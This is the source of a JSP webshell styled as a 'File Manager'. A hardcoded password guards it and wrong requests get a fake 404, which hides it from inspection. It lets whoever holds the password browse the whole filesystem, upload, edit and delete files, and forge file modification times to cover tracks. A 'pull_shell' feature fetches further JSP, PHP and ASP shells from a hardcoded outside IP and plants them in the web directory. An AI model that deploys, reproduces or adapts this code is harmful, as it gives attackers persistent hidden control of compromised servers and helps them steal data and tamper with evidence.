<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*, java.net.*, java.nio.file.*, java.nio.file.attribute.*, java.text.SimpleDateFormat, java.util.*" %> <%! String escapeHtml(String text) { if (text == null) return ""; return text.replace("&", "&") .replace("<", "<") .replace(">", ">") .replace("\"", """); } String escapeJs(String text) { if (text == null) return ""; return text.replace("\\", "\\\\") .replace("'", "\\'") .replace("\"", "\\\"") .replace("\n", "\\n") .replace("\r", "\\r"); } boolean isWindows() { return System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); } String formatSize(long bytes) { if (bytes < 1024) return bytes + " B"; if (bytes < 1024L * 1024L) return String.format(Locale.US, "%.2f KB", bytes / 1024.0); return String.format(Locale.US, "%.2f MB", bytes / (1024.0 * 1024.0)); } boolean isWithinRoot(String canonicalPath, String rootPath) throws IOException { if (rootPath == null || rootPath.trim().isEmpty()) return true; String rootCanon = new File(rootPath).getCanonicalPath(); return canonicalPath.equals(rootCanon) || canonicalPath.startsWith(rootCanon + File.separator); } boolean isSafeName(String name) { if (name == null || name.trim().isEmpty()) return false; return !name.contains("..") && !name.contains("/") && !name.contains("\\"); } boolean isSafeChild(File parent, String name) throws IOException { if (!isSafeName(name)) return false; File child = new File(parent, name); String parentPath = parent.getCanonicalPath(); String childPath = child.getCanonicalPath(); return childPath.equals(parentPath) || childPath.startsWith(parentPath + File.separator); } String uploadMultipart(HttpServletRequest request, File destDir) throws IOException { String contentType = request.getContentType(); if (contentType == null || !contentType.toLowerCase(Locale.US).startsWith("multipart/form-data")) { return "Upload failed: expected multipart/form-data"; } int boundaryIndex = contentType.toLowerCase(Locale.US).indexOf("boundary="); if (boundaryIndex < 0) return "Upload failed: missing boundary"; String boundary = "--" + contentType.substring(boundaryIndex + 9).trim(); ByteArrayOutputStream raw = new ByteArrayOutputStream(); try (InputStream in = request.getInputStream()) { byte[] buf = new byte[8192]; int n; while ((n = in.read(buf)) != -1) raw.write(buf, 0, n); } byte[] body = raw.toByteArray(); String bodyText = new String(body, "ISO-8859-1"); int partStart = bodyText.indexOf(boundary); if (partStart < 0) return "Upload failed: invalid multipart body"; int headerEnd = bodyText.indexOf("\r\n\r\n", partStart); if (headerEnd < 0) headerEnd = bodyText.indexOf("\n\n", partStart); if (headerEnd < 0) return "Upload failed: invalid part headers"; String headers = bodyText.substring(partStart, headerEnd); String fileName = "upload.bin"; for (String line : headers.split("\r?\n")) { String lower = line.toLowerCase(Locale.US); if (lower.startsWith("content-disposition:") && lower.contains("filename=")) { int fn = lower.indexOf("filename="); String value = line.substring(fn + 9).trim(); if (value.startsWith("\"") && value.endsWith("\"")) { value = value.substring(1, value.length() - 1); } else { int semi = value.indexOf(';'); if (semi >= 0) value = value.substring(0, semi).trim(); } fileName = new File(value).getName(); break; } } if (fileName.contains("..") || fileName.contains("/") || fileName.contains("\\")) { return "Upload failed: invalid filename"; } int dataStart = headerEnd + (bodyText.substring(headerEnd).startsWith("\r\n\r\n") ? 4 : 2); int dataEnd = bodyText.indexOf(boundary, dataStart); if (dataEnd < 0) return "Upload failed: could not locate file data"; int trim = 2; if (dataEnd >= 2 && bodyText.charAt(dataEnd - 2) == '\r' && bodyText.charAt(dataEnd - 1) == '\n') { trim = 2; } else if (dataEnd >= 1 && bodyText.charAt(dataEnd - 1) == '\n') { trim = 1; } byte[] fileBytes = Arrays.copyOfRange(body, dataStart, dataEnd - trim); File target = new File(destDir, fileName); try (FileOutputStream fos = new FileOutputStream(target)) { fos.write(fileBytes); } return "Uploaded: " + fileName + " (" + fileBytes.length + " bytes)"; } boolean passwordEnabled(String password) { return password != null && !password.isEmpty(); } String requestPassword(HttpServletRequest request) { String pwd = request.getParameter("pwd"); if (pwd == null || pwd.isEmpty()) pwd = request.getParameter("password"); return pwd; } String authSuffix(String pwd) { if (pwd == null || pwd.isEmpty()) return ""; try { return "&pwd=" + URLEncoder.encode(pwd, "UTF-8"); } catch (UnsupportedEncodingException e) { return ""; } } String formatTs(long ms, SimpleDateFormat sdf) { if (ms <= 0) return "-"; return sdf.format(new Date(ms)); } String[] fileTimes(File f, SimpleDateFormat sdf) { String created = "-", modified = "-", accessed = "-"; try { BasicFileAttributes attr = Files.readAttributes(f.toPath(), BasicFileAttributes.class); created = formatTs(attr.creationTime().toMillis(), sdf); modified = formatTs(attr.lastModifiedTime().toMillis(), sdf); accessed = formatTs(attr.lastAccessTime().toMillis(), sdf); } catch (Exception e) { modified = formatTs(f.lastModified(), sdf); } return new String[] { created, modified, accessed }; } long parseDateTime(String s) throws Exception { s = s.trim().replace('T', ' '); if (s.length() == 16) s += ":00"; return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(s).getTime(); } boolean setFileMtime(File f, long mtimeMs) { try { Files.setLastModifiedTime(f.toPath(), FileTime.fromMillis(mtimeMs)); return true; } catch (Exception e) { return f.setLastModified(mtimeMs); } } boolean deleteRecursive(File f) { if (f.isDirectory()) { File[] kids = f.listFiles(); if (kids != null) { for (File kid : kids) { if (!deleteRecursive(kid)) return false; } } } return f.delete(); } boolean renameEntry(File src, File dst) { if (src.renameTo(dst)) return true; try { Files.move(src.toPath(), dst.toPath(), StandardCopyOption.ATOMIC_MOVE); return true; } catch (Exception e) { try { Files.move(src.toPath(), dst.toPath()); return true; } catch (Exception e2) { return false; } } } String defaultStartPath(ServletContext application, String rootPath) { if (rootPath != null && !rootPath.trim().isEmpty()) return rootPath; String real = application.getRealPath("/"); if (real != null && !real.isEmpty()) return real; return System.getProperty("user.dir", "."); } String expandUserPath(String path) { if (path == null) return path; path = path.trim(); String home = System.getProperty("user.home", "/"); if ("~".equals(path)) return home; if (path.startsWith("~/") || path.startsWith("~\\")) { return home + path.substring(1); } return path; } boolean isAllowedShellFile(String name) { if (name == null || !isSafeName(name)) return false; String lower = name.toLowerCase(Locale.US); return lower.endsWith(".jsp") || lower.endsWith(".php") || lower.endsWith(".asp") || lower.endsWith(".aspx"); } String shellFileForType(String type) { if (type == null) return null; String t = type.trim().toLowerCase(Locale.US); if ("jsp".equals(t)) return "shell.jsp"; if ("php".equals(t)) return "shell.php"; if ("asp".equals(t)) return "shell.asp"; if ("aspx".equals(t)) return "shell.aspx"; return null; } String joinDownloadUrl(String baseUrl, String fileName) { String base = baseUrl.trim(); if (!base.endsWith("/")) base += "/"; return base + fileName; } byte[] httpDownload(String urlStr, int maxBytes) throws IOException { URL url = new URL(urlStr); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); try { conn.setInstanceFollowRedirects(true); conn.setConnectTimeout(15000); conn.setReadTimeout(120000); conn.setRequestMethod("GET"); conn.setRequestProperty("User-Agent", "mf-pull/1.0"); int code = conn.getResponseCode(); if (code < 200 || code >= 300) { throw new IOException("HTTP " + code); } InputStream in = conn.getInputStream(); try { ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buf = new byte[8192]; int n; while ((n = in.read(buf)) != -1) { if (out.size() + n > maxBytes) { throw new IOException("file too large (max " + maxBytes + " bytes)"); } out.write(buf, 0, n); } return out.toByteArray(); } finally { in.close(); } } finally { conn.disconnect(); } } String pullRemoteShell(String baseUrl, String remoteName, String localName, File destDir) throws IOException { if (!isAllowedShellFile(remoteName) || !isAllowedShellFile(localName)) { throw new IOException("unsupported filename"); } String url = joinDownloadUrl(baseUrl, remoteName); byte[] data = httpDownload(url, 5 * 1024 * 1024); if (data.length == 0) throw new IOException("empty response"); File target = new File(destDir, localName); FileOutputStream fos = new FileOutputStream(target); try { fos.write(data); } finally { fos.close(); } return "Downloaded " + localName + " (" + data.length + " bytes) from " + url; } String getRequestAction(HttpServletRequest request) { if ("POST".equalsIgnoreCase(request.getMethod())) { String[] vals = request.getParameterValues("action"); if (vals != null) { for (int i = vals.length - 1; i >= 0; i--) { String v = vals[i]; if ("pull_shell".equals(v) || "del_shell".equals(v) || "save".equals(v) || "rename".equals(v) || "delete".equals(v) || "create_dir".equals(v) || "create_file".equals(v) || "upload".equals(v) || "set_time".equals(v)) { return v; } } } } return request.getParameter("action"); } String pageBaseUrl(HttpServletRequest request) { String uri = request.getRequestURI(); if (uri != null && !uri.isEmpty()) { int q = uri.indexOf('?'); if (q >= 0) return uri.substring(0, q); return uri; } String ctx = request.getContextPath(); String sp = request.getServletPath(); if (ctx == null) ctx = ""; if (sp == null) sp = ""; return ctx + sp; } String buildPageQuery(String path, String authQs, String hiddenQs) throws UnsupportedEncodingException { return "?path=" + URLEncoder.encode(path, "UTF-8") + authQs + hiddenQs; } void flashRedirect(HttpServletRequest request, HttpServletResponse response, HttpSession session, String path, String msg, boolean err, String authQs, String hiddenQs) throws IOException { session.setAttribute("flash_msg", msg); session.setAttribute("flash_err", err ? "1" : "0"); String location = pageBaseUrl(request) + buildPageQuery(path, authQs, hiddenQs); response.sendRedirect(response.encodeRedirectURL(location)); } %> <% // File manager. Auth: ?pwd=... Missing/wrong password -> HTTP 404. String ROOT_PATH = ""; String ACCESS_PASSWORD = "dada9527"; String SHELL_DL_BASE = "http://47.76.38.146:8081/file/download/"; String action = getRequestAction(request); String pwdParam = requestPassword(request); if (passwordEnabled(ACCESS_PASSWORD)) { if (pwdParam == null || pwdParam.isEmpty() || !ACCESS_PASSWORD.equals(pwdParam)) { response.sendError(HttpServletResponse.SC_NOT_FOUND); return; } } String authQs = authSuffix(pwdParam); String message = ""; boolean messageError = false; if (action == null) { Object flash = session.getAttribute("flash_msg"); if (flash != null) { message = String.valueOf(flash); messageError = "1".equals(session.getAttribute("flash_err")); session.removeAttribute("flash_msg"); session.removeAttribute("flash_err"); } } boolean showHidden = true; String showHiddenParam = request.getParameter("show_hidden"); if ("0".equals(showHiddenParam) || "false".equalsIgnoreCase(showHiddenParam)) { showHidden = false; } String hiddenQs = showHidden ? "" : "&show_hidden=0"; String currentPath = request.getParameter("path"); if (currentPath == null || currentPath.trim().isEmpty()) { currentPath = defaultStartPath(application, ROOT_PATH); } else { currentPath = expandUserPath(currentPath); } File currentDir = new File(currentPath); String canonicalPath; try { canonicalPath = currentDir.getCanonicalPath(); } catch (IOException e) { canonicalPath = currentPath; message = "Invalid path: " + e.getMessage(); messageError = true; currentDir = new File(canonicalPath); } try { if (!isWithinRoot(canonicalPath, ROOT_PATH)) { currentPath = ROOT_PATH; currentDir = new File(currentPath); canonicalPath = currentDir.getCanonicalPath(); message = "Path outside root; reset to allowed root."; messageError = true; } } catch (IOException e) { message = "Root check failed: " + e.getMessage(); messageError = true; } // Download -- must run before any HTML output if ("download".equals(action)) { String fileName = request.getParameter("file"); if (fileName != null && isSafeChild(currentDir, fileName)) { File downloadFile = new File(currentDir, fileName); if (downloadFile.exists() && downloadFile.isFile()) { response.reset(); response.setContentType("application/octet-stream"); String encoded = URLEncoder.encode(downloadFile.getName(), "UTF-8").replace("+", "%20"); response.setHeader("Content-Disposition", "attachment; filename=\"" + downloadFile.getName() + "\"; filename*=UTF-8''" + encoded); long fileLen = downloadFile.length(); if (fileLen <= Integer.MAX_VALUE) { response.setContentLength((int) fileLen); } try (FileInputStream fis = new FileInputStream(downloadFile); OutputStream os = response.getOutputStream()) { byte[] buffer = new byte[8192]; int bytesRead; while ((bytesRead = fis.read(buffer)) != -1) { os.write(buffer, 0, bytesRead); } os.flush(); } return; } } response.sendError(HttpServletResponse.SC_NOT_FOUND, "File not found"); return; } // Load file content for editor -- plain text only if ("load".equals(action)) { String fileName = request.getParameter("file"); response.setContentType("text/plain; charset=UTF-8"); if (fileName != null && isSafeChild(currentDir, fileName)) { File loadFile = new File(currentDir, fileName); if (loadFile.exists() && loadFile.isFile() && loadFile.length() <= 1024L * 1024L) { try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(loadFile), "UTF-8"))) { String line; while ((line = reader.readLine()) != null) { out.print(line); out.print('\n'); } } return; } } out.print("Unable to load file"); return; } // POST actions (redirect after to avoid ?action= polluting next request) if ("delete".equals(action)) { String fileName = request.getParameter("file"); if (fileName != null && isSafeChild(currentDir, fileName)) { File targetFile = new File(currentDir, fileName); if (!targetFile.exists()) { message = "Not found: " + fileName; messageError = true; } else if (deleteRecursive(targetFile)) { message = "Deleted: " + fileName; } else { message = "Delete failed: " + fileName; messageError = true; } } else { message = "Invalid delete request"; messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("rename".equals(action)) { String fileName = request.getParameter("file"); String newName = request.getParameter("newname"); if (fileName != null && newName != null && isSafeChild(currentDir, fileName) && isSafeName(newName.trim())) { File src = new File(currentDir, fileName); File dst = new File(currentDir, newName.trim()); if (!src.exists()) { message = "Not found: " + fileName; messageError = true; } else if (dst.exists()) { message = "Already exists: " + newName.trim(); messageError = true; } else if (renameEntry(src, dst)) { message = "Renamed: " + fileName + " -> " + newName.trim(); } else { message = "Rename failed: " + fileName; messageError = true; } } else { message = "Invalid name"; messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("save".equals(action)) { String fileName = request.getParameter("file"); String content = request.getParameter("content"); if (fileName != null && content != null && isSafeChild(currentDir, fileName)) { File targetFile = new File(currentDir, fileName); try (OutputStreamWriter writer = new OutputStreamWriter(new FileOutputStream(targetFile), "UTF-8")) { writer.write(content); message = "Saved: " + fileName; } catch (Exception e) { message = "Save failed: " + e.getMessage(); messageError = true; } } else { message = "Save failed: invalid file or content"; messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("create_dir".equals(action)) { String dirName = request.getParameter("dirname"); if (dirName != null && isSafeName(dirName.trim())) { File newDir = new File(currentDir, dirName.trim()); if (newDir.mkdir()) { message = "Created directory: " + dirName.trim(); } else { message = "Create directory failed: " + dirName.trim(); messageError = true; } } else { message = "Invalid directory name"; messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("create_file".equals(action)) { String fileName = request.getParameter("filename"); String content = request.getParameter("content"); if (content == null) content = ""; if (fileName != null && isSafeName(fileName.trim())) { File newFile = new File(currentDir, fileName.trim()); if (newFile.exists()) { message = "File already exists: " + fileName.trim(); messageError = true; } else { try (OutputStreamWriter writer = new OutputStreamWriter(new FileOutputStream(newFile), "UTF-8")) { writer.write(content); message = "Created file: " + fileName.trim(); } catch (Exception e) { message = "Create file failed: " + e.getMessage(); messageError = true; } } } else { message = "Invalid file name"; messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("upload".equals(action)) { try { message = uploadMultipart(request, currentDir); messageError = message.startsWith("Upload failed"); } catch (Exception e) { message = "Upload failed: " + e.getMessage(); messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("pull_shell".equals(action)) { String baseUrl = request.getParameter("dl_base"); String shellType = request.getParameter("shell_type"); String saveName = request.getParameter("save_name"); if (baseUrl == null || baseUrl.trim().isEmpty()) { baseUrl = SHELL_DL_BASE; } baseUrl = baseUrl.trim(); session.setAttribute("shell_dl_base", baseUrl); String remoteName = shellFileForType(shellType); String localName = remoteName; if (saveName != null && !saveName.trim().isEmpty()) { String custom = saveName.trim(); if (isAllowedShellFile(custom)) localName = custom; } if (remoteName == null) { message = "Invalid shell type"; messageError = true; } else { try { message = pullRemoteShell(baseUrl, remoteName, localName, currentDir); session.setAttribute("shell_last_type", shellType); session.setAttribute("shell_last_file", localName); session.setAttribute("shell_last_path", canonicalPath); } catch (Exception e) { message = "Download failed: " + e.getMessage(); messageError = true; } } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("del_shell".equals(action)) { String fileName = request.getParameter("file"); if (fileName != null) fileName = fileName.trim(); if (fileName == null || !isAllowedShellFile(fileName) || !isSafeChild(currentDir, fileName)) { message = "Invalid shell file"; messageError = true; } else { File target = new File(currentDir, fileName); if (!target.exists()) { message = "Shell not found: " + fileName; messageError = true; } else if (deleteRecursive(target)) { message = "Deleted shell: " + fileName; Object lastFile = session.getAttribute("shell_last_file"); if (fileName.equals(lastFile)) { session.removeAttribute("shell_last_file"); } } else { message = "Delete shell failed: " + fileName; messageError = true; } } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } else if ("set_time".equals(action)) { String fileName = request.getParameter("file"); String mtimeStr = request.getParameter("mtime"); if (fileName != null && isSafeChild(currentDir, fileName) && mtimeStr != null && !mtimeStr.trim().isEmpty()) { File targetFile = new File(currentDir, fileName); if (!targetFile.exists()) { message = "Not found: " + fileName; messageError = true; } else { try { long mtimeMs = parseDateTime(mtimeStr); if (setFileMtime(targetFile, mtimeMs)) { message = "Updated mtime: " + fileName + " -> " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(mtimeMs)); } else { message = "Set time failed: " + fileName; messageError = true; } } catch (Exception e) { message = "Invalid time format (use yyyy-MM-dd HH:mm:ss): " + e.getMessage(); messageError = true; } } } else { message = "Missing file or time"; messageError = true; } flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs); return; } File[] allFiles = currentDir.listFiles(); if (allFiles == null) allFiles = new File[0]; List visible = new ArrayList(); for (File f : allFiles) { if (!showHidden && f.getName().startsWith(".")) continue; visible.add(f); } File[] files = visible.toArray(new File[visible.size()]); Arrays.sort(files, new Comparator() { public int compare(File f1, File f2) { if (f1.isDirectory() && !f2.isDirectory()) return -1; if (!f1.isDirectory() && f2.isDirectory()) return 1; return f1.getName().compareToIgnoreCase(f2.getName()); } }); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String encodedPath = URLEncoder.encode(canonicalPath, "UTF-8"); String pageBase = pageBaseUrl(request); String pageQuery = buildPageQuery(canonicalPath, authQs, hiddenQs); String formActionUrl = pageBase; StringBuilder hiBuf = new StringBuilder(); hiBuf.append(""); if (passwordEnabled(ACCESS_PASSWORD)) { hiBuf.append(""); } if (!showHidden) { hiBuf.append(""); } String hiddenInputs = hiBuf.toString(); String userHome = System.getProperty("user.home", "/"); String encodedHome = URLEncoder.encode(userHome, "UTF-8"); String encodedTmp = URLEncoder.encode(isWindows() ? "C:\\Windows\\Temp" : "/tmp", "UTF-8"); File[] diskRoots = File.listRoots(); String rootPath = (diskRoots != null && diskRoots.length > 0) ? diskRoots[0].getPath() : "/"; String encodedRoot = URLEncoder.encode(rootPath, "UTF-8"); String shellDlBase = SHELL_DL_BASE; Object savedDlBase = session.getAttribute("shell_dl_base"); if (savedDlBase instanceof String && !((String) savedDlBase).trim().isEmpty()) { shellDlBase = ((String) savedDlBase).trim(); } String webRoot = application.getRealPath("/"); String jspPath = application.getRealPath(request.getServletPath()); String serverInfo = application.getServerInfo(); String servletName = application.getServletContextName(); if (servletName == null || servletName.isEmpty()) servletName = "(default)"; String javaVersion = System.getProperty("java.version", "-"); String osInfo = System.getProperty("os.name", "-") + " / " + System.getProperty("os.arch", "-"); String userDir = System.getProperty("user.dir", "-"); String rootLimit = (ROOT_PATH != null && !ROOT_PATH.isEmpty()) ? ROOT_PATH : webRoot; List shellFilesPresent = new ArrayList(); for (File f : allFiles) { if (isAllowedShellFile(f.getName())) shellFilesPresent.add(f.getName()); } String shellLastType = "jsp"; Object lastTypeObj = session.getAttribute("shell_last_type"); if (lastTypeObj instanceof String && shellFileForType((String) lastTypeObj) != null) { shellLastType = ((String) lastTypeObj).trim().toLowerCase(Locale.US); } String shellLastFile = shellFileForType(shellLastType); Object lastFileObj = session.getAttribute("shell_last_file"); Object lastPathObj = session.getAttribute("shell_last_path"); if (lastFileObj instanceof String && lastPathObj instanceof String && canonicalPath.equals(lastPathObj) && isAllowedShellFile((String) lastFileObj)) { shellLastFile = (String) lastFileObj; } StringBuilder shellPresentJs = new StringBuilder("["); for (int i = 0; i < shellFilesPresent.size(); i++) { if (i > 0) shellPresentJs.append(","); shellPresentJs.append("'").append(escapeJs(shellFilesPresent.get(i))).append("'"); } shellPresentJs.append("]"); %> File Manager
<% if (!message.isEmpty()) { %>
"><%= escapeHtml(message) %>
<% } %>

Environment

Server
<%= escapeHtml(serverInfo) %>
Context
<%= escapeHtml(servletName) %>
Java
<%= escapeHtml(javaVersion) %>
OS
<%= escapeHtml(osInfo) %>
Web Root
<%= escapeHtml(webRoot != null ? webRoot : "-") %>
JSP Path
<%= escapeHtml(jspPath != null ? jspPath : "-") %>
Root Limit
<%= escapeHtml(rootLimit != null ? rootLimit : "-") %>
Current Dir
<%= escapeHtml(canonicalPath) %>
User Dir
<%= escapeHtml(userDir) %>
<%= hiddenInputs %>
/ ~ /tmp <% if (currentDir.getParent() != null) { %> <%= authQs %><%= hiddenQs %>" class="btn btn-muted">.. <% } %> <% if (showHidden) { %> Hide dotfiles <% } else { %> Show dotfiles <% } %>
<% for (File file : files) { String fileName = file.getName(); boolean isDir = file.isDirectory(); boolean isHidden = fileName.startsWith("."); String size = isDir ? "-" : formatSize(file.length()); String[] times = fileTimes(file, sdf); String encName = URLEncoder.encode(fileName, "UTF-8"); String nameCls = isDir ? "folder" : (isHidden ? "hidden-entry" : "file"); %> <% } %> <% if (files.length == 0) { %> <% } %>
Name Size Modified Actions
<% if (isDir) { %> <%= authQs %><%= hiddenQs %>" class="<%= nameCls %>"><%= escapeHtml(fileName) %> <% } else { %> <%= escapeHtml(fileName) %> <% } %> <%= size %> <%= escapeHtml(times[1]) %> <% if (!isDir) { %> DL <% } %>
Empty